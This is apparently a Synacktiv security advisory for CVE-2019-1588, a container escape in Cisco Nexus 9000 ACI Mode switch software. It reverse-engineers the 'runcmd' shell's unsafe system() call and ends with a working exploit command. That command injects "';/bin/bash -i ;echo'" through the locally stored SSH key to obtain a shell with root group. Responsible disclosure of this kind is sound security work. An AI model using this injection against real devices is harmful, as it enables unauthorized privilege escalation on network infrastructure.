SYNACKTIV
DIGITAL SECURITY

Container escape in Cisco Nexus 9000 Series ACI Mode Switch Software version 9.13.2.2l

Security advisory

14/09/2018

Nicolas Biscos
Gaëtan Ferry

Vulnerability description

The Cisco Nexus 9000 Series ACI Mode

Cisco Nexus 9000 Switches provide the foundation for *Application Centric Infrastructure*, delivering scalability, performance, and exceptional energy efficiency.[1]

The issue

Synacktiv has identified a vulnerability in the *Cisco Nexus 9000 Series ACI Mode Software,* allowing attackers to escape the container in which authenticated users have a shell.

This issue is the result of insufficient user input filtering in the *runcmd* custom command. Consequently, an authenticated user can escape the container.

Affected versions

At the time this report is written, the firmware *aci-n9000-dk9.13.2.2l* was proved to be affected:

Timeline

Date	Action
14/09/2018	Advisory sent to *Cisco Product Security Incident Response*.
16/09/2018	Acknowledgment from Cisco
06/03/2019	Public disclosure CVE-2019-1588

1 https://www.cisco.com/c/en_hk/products/switches/nexus-9000-series-switches/index.html

Technical description and proof-of-concept

Description

When connecting through SSH as user *admin* on N9000 equipment, the environment is restricted. Some commands require access to full system, so some of them are executed through a proxy command, that spawn the command through a local SSH connection in an unrestricted environment. Only 4 commands are allowed to be run that way.

It is possible to leverage this feature to get unrestricted shell access on the system with the *local* account.

Context

When connecting through SSH as user *admin* on N9000 equipment, the environment is restricted. Some commands require access to full system, so some of them are executed through a proxy command.

For instance, *iping* is in fact a script relying on *backend_cmd* command:

```
# cat /isan/plugin/0/isan/utils/iping
#!/bin/sh
pass_arg=''
index=1
for arg in "$@"
do
  if [ $index -gt 1 ]; then
      pass_arg=$pass_arg' '$arg
  else
      pass_arg=$arg
  fi
  let "index+=1"

done
/isan/utils/backend_cmd.sh "iping $pass_arg"

wait
```

This script allows commands to be run in the back end through a SSH connection as *local* user. This account can connect using a locally stored SSH private key:

```
# cat /isan/utils/backend_cmd.sh
#!/bin/sh
#
# Script to run a command outside the admin container through an ssh session
#

LOCAL_USER_KEY="/etc/ssh/ssh_local_rsa_key"
LOCAL_USER_PORT="1026"

TMP_ID_FILE=`mktemp`
TMP_HOSTS_FILE=`mktemp`

setup_tmp_files() {
    cp ${LOCAL_USER_KEY}.export $TMP_ID_FILE
    cp ${LOCAL_USER_KEY}.pub ${TMP_ID_FILE}.pub
    chmod og-r $TMP_ID_FILE

    HOST_STR=`cat ${TMP_ID_FILE}.pub`
    HOST_STR="[localhost]:${LOCAL_USER_PORT} "$HOST_STR
```

```
    echo $HOST_STR > $TMP_HOSTS_FILE
}

setup_tmp_files
ssh -t -i $TMP_ID_FILE -o UserKnownHostsFile=$TMP_HOSTS_FILE -p $LOCAL_USER_PORT
local@localhost $@ 2>/dev/null

rm $TMP_ID_FILE
rm ${TMP_ID_FILE}.pub
rm $TMP_HOSTS_FILE
```

The *local* user account has a custom shell, *runcmd,* that restricts the command that can be run. This is a C-compiled program.

Reverse engineering of the *runcmd* program

By reversing the code it appears that, at some stage, it performs a call to the dangerous C function *system*:

```
if (allowed_cmd_array[idx].path2) {
      cmd_struct = &allowed_cmd_array[idx];
      if ((unsigned int)
          snprintf((char *)&cmd_egrep_whith_u_cmd, 512u,
                 "egrep '^%s( -c \"[[:alnum:] _./:\\-]+\")?$' <<< '%s'",
                 allowed_u_cmd.name, &argv2_shrunk) > 511) {
            puts("Invalid command. Input too long.");
            return 3;
      }
      if (system((const char *)&cmd_egrep_whith_u_cmd)) {
            printf("Invalid command. Only '%s' allowed.\n",
                   allowed_u_cmd.name);
            return 4;
      }
...
```

The *system* function spawn a shell interpreter that runs the command line passed as argument. In this case, the *argv2_shrunk* variable is controlled by the attacker, as it is just a version of *argv[2]* shrunk to 256 characters.

The attacker can forge this parameter with characters that escape the arguments of the *grep* command and execute arbitrary commands.

To reach this portion of code, the attacker must fulfill some conditions:

- The first part of the parameter passed to *runcmd* must be a white-listed command;
- It must match a configuration in the whitelist.

By looking at the *.data* portion, and particularly the definition of allowed commands, we noticed that it looks like an array of structures. The structure may look like something like this:

```
00000000 struct_allow    struc ; (sizeof=0x18, mappedto_2)
00000000                                       ; XREF: .data:allowed_cmd_array/r
00000000                                       ; .data:vsh_lc/r ...
00000000 name            dd ?                  ; XREF: main+80/r ; offset
00000004 path            dd ?                  ; XREF: main+10C/o main+116/r ... ; offset
00000008 params          dd ?                  ; XREF: main+F6/r ; offset
0000000C always_zero?    dd ?                  ; XREF: main+121/r ; offset
00000010 path2           dd ?                  ; offset
00000014 env             dd ?                  ; offset
```

To trigger the issue, the parameter *path2* of the matched element must be non-null:

```
if (allowed_cmd_array[idx].path2) {
      [...]
      if (system((const char *)&cmd_egrep_whith_u_cmd)) {
            printf("Invalid command. Only '%s' allowed.\n",
                  allowed_u_cmd.name);
            return 4;
      }
```

The candidates are the *vsh_lc* and *vsh_lc_ro* commands:

```
.data:00001180 allowed_cmd_array struct_allow <offset aIsanBinVsh+0Ah, offset
aIsanBinVsh, \
.data:00001180                                         ; DATA XREF: main+80r
.data:00001180                                         ; main:loc_A06o ...
.data:00001180                                 offset aIsanBinVsh+0Ah, 0, 0, 0> ; "/isan/bin/
vsh"
.data:00001198 ; struct_allow vsh_lc
.data:00001198 vsh_lc          struct_allow <offset aLcIsanBinVsh_l+0Dh, 0, 0, 0, \
.data:00001198                                         ; DATA XREF: main+95o
.data:00001198                                 offset aLcIsanBinVsh_l, 0> ;
"/lc/isan/bin/vsh_lc"
.data:000011B0 ; struct_allow vsh_lo
.data:000011B0 vsh_lo          struct_allow <offset aVsh_lc_ro, 0, 0, 0, offset
aLcIsanBinVsh_l, \ ; "/lc/isan/bin/vsh_lc"
.data:000011B0                                 offset aNon_rootTrue>
.data:000011C8 ; struct_allow iping
.data:000011C8 iping           struct_allow <offset aIsanBinIping+0Ah, offset
aIsanBinIping, \ ; "/isan/bin/iping"
.data:000011C8                                 offset aIsanBinIping+0Ah, 0, 0, 0>
.data:000011E0 ; struct_allow iping6
.data:000011E0 iping6          struct_allow <offset aIsanBinIping6+0Ah, offset
aIsanBinIping6, \ ; "/isan/bin/iping6"
.data:000011E0                                 offset aIsanBinIping6+0Ah, 0, 0, 0>
.data:000011F8 ; struct_allow last
.data:000011F8 last            struct_allow <0>
```

Exploit

The following command-line allows escaping from the restricted environment in which the *admin* user connects:

```
# ssh -t -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no -i
/etc/ssh/ssh_local_rsa_key.export -p 1026 local@localhost vsh_lc_ro "';/bin/bash -i ;echo'"
Could not create directory '/.ssh'.
Warning: Permanently added '[localhost]:1026' (RSA) to the list of known hosts.
bash: no job control in this shell
bash-4.2$ id
id
uid=10998(local) gid=0(root) groups=0(root)
bash-4.2$
```